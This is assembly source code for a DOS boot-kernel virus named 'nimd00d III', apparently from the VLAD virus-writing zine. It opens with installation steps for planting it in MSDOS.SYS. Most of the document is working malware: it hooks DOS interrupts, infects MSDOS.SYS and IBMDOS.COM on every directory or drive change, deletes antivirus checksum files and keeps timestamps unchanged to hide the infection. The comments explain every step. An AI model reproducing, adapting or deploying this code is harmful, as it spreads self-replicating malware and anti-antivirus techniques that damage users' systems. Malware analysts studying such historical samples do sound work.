;****************************************************************************
; Virus name : nimd00d III
; Author : Nimrood The Necromancer [pain]
; Origin : United States of America, January 17, 1996
; Compiling : TASM NIM3.ASM /M3
; TLINK NIM3.OBJ /X
; EXE2NIM NIM3
; Installing : Before you compile, load MSDOS.SYS into debug, press R, and
; copy down the first three bytes and the value in the CX
; register. Put the three bytes in the OLD_THREE variable
; at the end of the virus then compile. Take the .BIN file
; and append it to the MSDOS.SYS file with:
; COPY /B MSDOS.SYS+NIM3.BIN MSDOS.SYS /Y
; Load the new MSDOS.SYS file into debug and start assembling
; at 100h. Make a near call to the value that was in CX plus
; 100h. Press enter a couple times and then (W)rite the file
; back to disk. For example:
; A:\>DEBUG MSDOS.SYS
; -R
; AX=0000 BX=0000 CX=94FA DX=0000 SP=FFFE BP=0000......
; DS=0C8C ES=0C8C SS=0C8C CS=0C8C IP=0100 NV UP EI....
; 0C8C:0100 E9747C JMP 7D77
; -Q
;
; A:\>COPY /B MSDOS.SYS+NIM3.BIN MSDOS.SYS /Y
; A:\>DEBUG MSDOS.SYS
; -A100
; 0C8C:0100 CALL 95FA
; 0C8C:0103
; -W
; Writing 09748 bytes
; -Q
; Targets : MSDOS.SYS & IBMDOS.COM files
; Size : 587 bytes
; Polymorphic : No
; Encryption : No
; Stealth : No
; Tunneling : No
; Retro : No
; Antiheuristics: No
; Greets : Metabolis, DefJeff, Qark, Quantum, Retro, Antigen,
; ShadSeek, and all the other freaks I missed! =)
; Thanks to case0 and kdkd for their input.
; Future Features/Plans:
; - might add encryption if i see a need
; - heh.. write a txt file and share what i've learned ;)
; What the hell happened to the weekend?! I missed the whole damn thing!
; -Nimrood The Necromancer [pain]
; tfu.bbs@sid.net
;****************************************************************************
.model tiny
.code
.radix 16
org 0
;****************************************************************************
; EQUs
;****************************************************************************
SIZE_BYTES = endv-nimd00d3
SIZE_PARAS = (endv-nimd00d3+1e)/10
;****************************************************************************
; Start of Virus
;****************************************************************************
nimd00d3:
;get orginal starting point
pop bx
sub bx,3
push bx ;save for RETN
;save the registers we destroy so the system doesn't hang
push si di ds es
;get delta offset and replace the old three bytes of host
push cs cs
pop es ds
mov di,bx
mov si,offset old_three
call delta
delta:
pop bx
sub bx,(delta-nimd00d3)
add si,bx
movsw
movsb
;move into memory temporarily
mov ax,8c00
mov es,ax
mov si,bx
xor di,di
push di
mov cx,SIZE_BYTES
rep movsb
;initialize virus variables - if you don't do this, the virus will not work
;after the first boot after the first infection. =)
mov byte ptr [es:is_CD21],0
mov byte ptr [es:moved],0
;get current i1 vector
pop ds
mov si,1*4
lodsw
mov [es:i1_offset],ax
lodsw
mov [es:i1_segment],ax
;set i1 vector to our handler
mov [si-2],es
mov word ptr [si-4],offset int_1
;turn on the processor's instruction step interrupt
pushf
pop ax
or ax,100
push ax
popf
;restore registers we saved and return to host
pop es ds di si
retn
sig db '[nimd00d III]'
author db ' by ntn',0
;****************************************************************************
; Interrupt 1h Handler
;****************************************************************************
int_1:
;set BP up so we can read the stack, and save the registers we use
push bp
mov bp,sp
push ax si ds
;DS:SI points to the instuction at the return address on the stack. check and
;see if the next instruction is an INT 21h
lds si,[bp+2]
cmp word ptr [si],21cd
jnz exit_i1
;we know an INT 21 is the next instruction, so let's see if it is going to be
;one of the functions we need to capture to grab some memory. (func 4b00,
;load and EXECute, or func. 4b03, load overlay) this will be the first EXEC
;call dos makes, so it will either be a 4b03 for loading device drivers, or
;be 4b00 to load command.com if there are no device drivers to load.
cmp ah,4bh
jnz exit_i1
or al,al
jz not_ovrlay_4b
;on function 4b03, ES:BX points to the segment to load the overlay into. we
;want to save this value for later.
mov ax,word ptr es:[bx]
mov [cs:loadseg],ax
;save the first byte of the next instruction after the INT 21 for later.
;then move the byte CCh (INT 03h) so it is the next instruction executed
;after the INT 21.
mov al,byte ptr [si+2]
mov byte ptr [cs:endv+3],al
mov byte ptr [si+2],0cc
;save original i3 vector and replace it with our handler
xor ax,ax
mov ds,ax
mov si,3*4
lodsw
mov [cs:i3_offset],ax
lodsw
mov [cs:i3_segment],ax
mov word ptr [si-4],offset int_3
mov [si-2],cs
unchain_i1:
;restore the original i1 handler
db 0b8 ;opcode for MOV AX,imed./16bit
i1_offset dw 0
mov [ds:1*4],ax
db 0b8
i1_segment dw 0
mov [ds:1*4+2],ax
jmp exit_i1
not_ovrlay_4b:
;we get here if there are no DEVICE= lines in CONFIG.SYS. this will
;mostlikely be the execution of the command interperter. get the original
;i21 vector and replace it with our i21 handler.
xor ax,ax
mov ds,ax
mov si,21*4
lodsw
mov [cs:i21_offset],ax
lodsw
mov [cs:i21_segment],ax
mov word ptr [si-4],offset int_21
mov [si-2],cs
jmp unchain_i1
exit_i1:
;restore the registers we smashed, and return to caller.
pop ds si ax bp
iret
;****************************************************************************
; Interrupt 3h Handler
;****************************************************************************
int_3:
;setup BP so we can read values we need on the stack, and save the registers
;we destroy
push bp
mov bp,sp
push ax si ds
;DS:SI points to the next instruction after the i3 opcode, CCh. get the first
;byte of the instruction we replaced with CCh, and move it back. finally,
;subtract 1 from the return address offset so that when this interrupt
;returns control, it begins execution like normal at the original instruction
lds si,[bp+2]
mov al,byte ptr [cs:endv+3]
mov [si-1],al
dec byte ptr [bp+2]
mov ax,[cs:loadseg]
mov ds,ax
mov si,[ds:6]
mov [cs:strat_call],si
lodsw
mov [cs:endv+3],ax
lodsw
mov [cs:endv+5],ax
lodsb
mov [cs:endv+7],al
mov byte ptr [si-5],0ea
mov word ptr [si-4],offset strategy
mov [si-2],cs
mov si,[ds:8]
mov [cs:init_call],si
lodsw
mov [cs:endv+8],ax
lodsw
mov [cs:endv+0a],ax
lodsb
mov [cs:endv+0c],al
mov byte ptr [si-5],0ea
mov word ptr [si-4],offset interrupt
mov [si-2],cs
xor ax,ax
mov ds,ax
db 0b8
i3_offset dw 0
mov [ds:3*4],ax
db 0b8
i3_segment dw 0
mov [ds:3*4+2],ax
pop ds si ax bp
iret
strategy:
;save the request header address
mov word ptr [cs:endv+0d],bx
mov word ptr [cs:endv+0f],es
push ax si ds
mov si,[cs:loadseg]
mov ds,si
mov si,[cs:strat_call]
mov ax,[cs:endv+3]
mov [si],ax
mov ax,[cs:endv+5]
mov [si+2],ax
mov al,[cs:endv+7]
mov [si+5],al
pop ds si ax
db 0ea
strat_call dw 0
loadseg dw 0
init_call dw 0
interrupt:
mov [cs:endv+3],ax
push cs
mov ax,offset init_ret
push ax
mov ax,[cs:init_call]
mov [cs:init_off],ax
mov ax,[cs:loadseg]
mov [cs:init_seg],ax
mov ax,[cs:endv+3]
db 0ea
init_off dw 0
init_seg dw 0
init_ret:
;save registers we smash, including flags
pushf
push ax bx cx si di ds es
;point to the request header and round up the end-of-driver address to the
;next paragraph.
les bx,dword ptr [cs:endv+3]
add word ptr es:[bx+0e],0f
;calculate our new memory segment
mov ax,es:[bx+0e]
mov cl,4
shr ax,cl
mov cx,es:[bx+10]
add cx,ax
push cx
;add virus size to the end-of-driver address to allocate memory for virus
add ax,offset endv+9
adc cx,0
mov es:[bx+0e],ax
mov es:[bx+10],cx
;copy the virus to our new segment
pop es
push cs
pop ds
xor si,si
mov di,si
push si
cld
mov cx,SIZE_BYTES
rep movsb
;remind ourself we have moved, and capture i21
inc byte ptr [es:i21_hook]
pop ds
mov si,21*4
lodsw
mov [es:i21_offset],ax
lodsw
mov [es:i21_segment],ax
mov word ptr [si-4],offset int_21
mov [si-2],es
;restore smashed registers and return to DOS
pop es ds di si cx bx ax
popf
retf
;****************************************************************************
; Interrupt 21h Handler
;****************************************************************************
int_21:
;check to see if there are any calls we should be intercepting
cmp ah,4bh
jz alloc_mem
cmp ah,3bh
jz chdir
cmp ah,0e
jz chdrv
;*********** debug code to see what segment we finally moved to
; cmp ax,0d00dh
; jnz exit_i21
; mov ax,cs
; iret
;*********** debug code to see what segment we finally moved to
exit_i21:
db 0ea
i21_offset dw 0
i21_segment dw 0
;grab some memory so we can get out of 8c00 into a safe area
alloc_mem:
cmp byte ptr [cs:moved],1 ;have we moved already?
jz exit_i21
push ax bx cx si di ds es
;request (endv-nimd00d3+1e)/10 bytes of memory for ourself so we can get out
;of this unprotected memory area
mov ah,48
mov bx,SIZE_PARAS
int 21
jnc move_virus
jmp mem_bomb
move_virus:
;alright, we got some memory to move to, so lets do it. AX=our new chunk
;of memory
mov es,ax
push cs
pop ds
xor si,si
mov di,si
push si
mov cx,SIZE_BYTES
cld
rep movsb
;remind ourself that we have now moved, and change the IVT to reflect our
;i21's new location in memory.
inc byte ptr [es:moved]
pop ds
mov [ds:21*4+2],es
;restore registers destroyed and send the program on it's way
mem_bomb:
pop es ds di si cx bx ax
jmp exit_i21
;watch for checksum files to delete and kernel files to infect
;while a program (or user) is moving around on his system
chdir:
chdrv:
;go ahead and make the call to DOS so we can do our dirty work
pushf
call dword ptr [cs:i21_offset]
jnc cont_chdir
retf 2
cont_chdir:
;save the flags and registers for the return to the caller
pushf
push ax bx cx dx si di ds es
;search and destroy checksum files in this new directory/drive
call kill_checksums
;try to infect any kernels that may be in this directory/drive
mov dx,offset msdos
call try_infect
mov dx,offset ibmdos
call try_infect
;return safe and sound to the orignal caller
chdir_exit:
pop es ds di si dx cx bx ax
popf
retf 2
;****************************************************************************
; Procedure to kill AV checksum files - w00 h00
;****************************************************************************
kill_checksums:
push cs
pop ds
;point DS:DX at CHKLIST.MS and try to delete it if it exists
mov dx,offset kill_msav
call kill_ds_dx
;point DS:DX at ANTI-VIR.DAT and try to delete it if it exists
mov dx,offset kill_tbav
call kill_ds_dx
;point DS:DX at MSAV.CHK and try to delete it if it exists
mov dx,offset kill_msav2
call kill_ds_dx
;point DS:DX at CHKLIST.CPS and try to delete it if it exists
mov dx,offset kill_cps
call kill_ds_dx
ret
kill_ds_dx:
;clear all of DS:DX's file attributes
mov ax,4301
xor cx,cx
int 21
jc crapola
;now try and delete the little pest
mov ah,41
int 21
crapola:
ret
;****************************************************************************
; Procedure to infect kernel
;****************************************************************************
infect_dos:
;read the first three bytes of kernel
xchg ax,bx
mov ah,3f
mov cx,3
mov dx,offset old_three
int 21
;check to see if this is a healthy kernel file. an infectable kernel
;file should start with the JMP opcode. if it's not there, then it's
;already infected or probably a Windows 95 MSDOS.SYS file.
cmp byte ptr [old_three],0e9
jnz exit_infect
;close the file handle we used to test if kernel existed
mov ah,3e
int 21
;grab files attributes and put them on the stack for later
mov ax,4300
mov dx,[file_to_open]
int 21
push cx
;clear files attributes so we can reopen the kernel in write mode
mov ax,4301
xor cx,cx
int 21
;reopen kernel in write mode
mov ax,3d02
mov dx,[file_to_open]
int 21
xchg ax,bx
;get file's date and time and push it onto stack.
mov ax,5700
int 21
push cx dx
;get file size
mov ax,4202
xor cx,cx
cwd
int 21
;construct our CALL nimd00d3 to write to the kernel
push ax
sub ax,3
mov byte ptr [endv],0e8
mov word ptr [endv+1],ax
;move to the start of the file
mov ax,4200
xor cx,cx
cwd
int 21
;write the CALL nimd00d3 to the kernel
mov ah,40
mov cx,3
mov dx,offset endv
int 21
;move to the end of the kernel so we can append the virus
mov ax,4200
xor cx,cx
pop dx
int 21
;append the virus to the kernel
mov ah,40
mov cx,SIZE_BYTES
xor dx,dx
int 21
;restore file's date and time
mov ax,5701
pop dx cx
int 21
;close the file
mov ah,3e
int 21
;restore file's attributes and return to caller
mov ax,4301
pop cx
mov dx,[file_to_open]
int 21
ret
exit_infect:
;close the file and return to caller
mov ah,3e
int 21
ret
;****************************************************************************
; Procedure to test for a kernel's presence
;****************************************************************************
try_infect:
;open file name passed in DS:DX to see if it exists. if it exists, call
;infection routine
mov ax,3d00
mov [file_to_open],dx
int 21
jc exit_find
call infect_dos
exit_find:
ret
;****************************************************************************
; Virus Data Stuffs
;****************************************************************************
kill_msav db 'CHKLIST.MS',0
kill_tbav db 'ANTI-VIR.DAT',0
kill_msav2 db 'MSAV.CHK',0
kill_cps db 'CHKLIST.CPS',0
msdos db 'MSDOS.SYS',0
ibmdos db 'IBMDOS.COM',0
old_three db 0e9,74,7c
file_to_open dw 0
i21_hook db 0
moved db 0
is_CD21 db 0
loadseg dw 0
endv:
end nimd00d3
- VLAD #6 INDEX -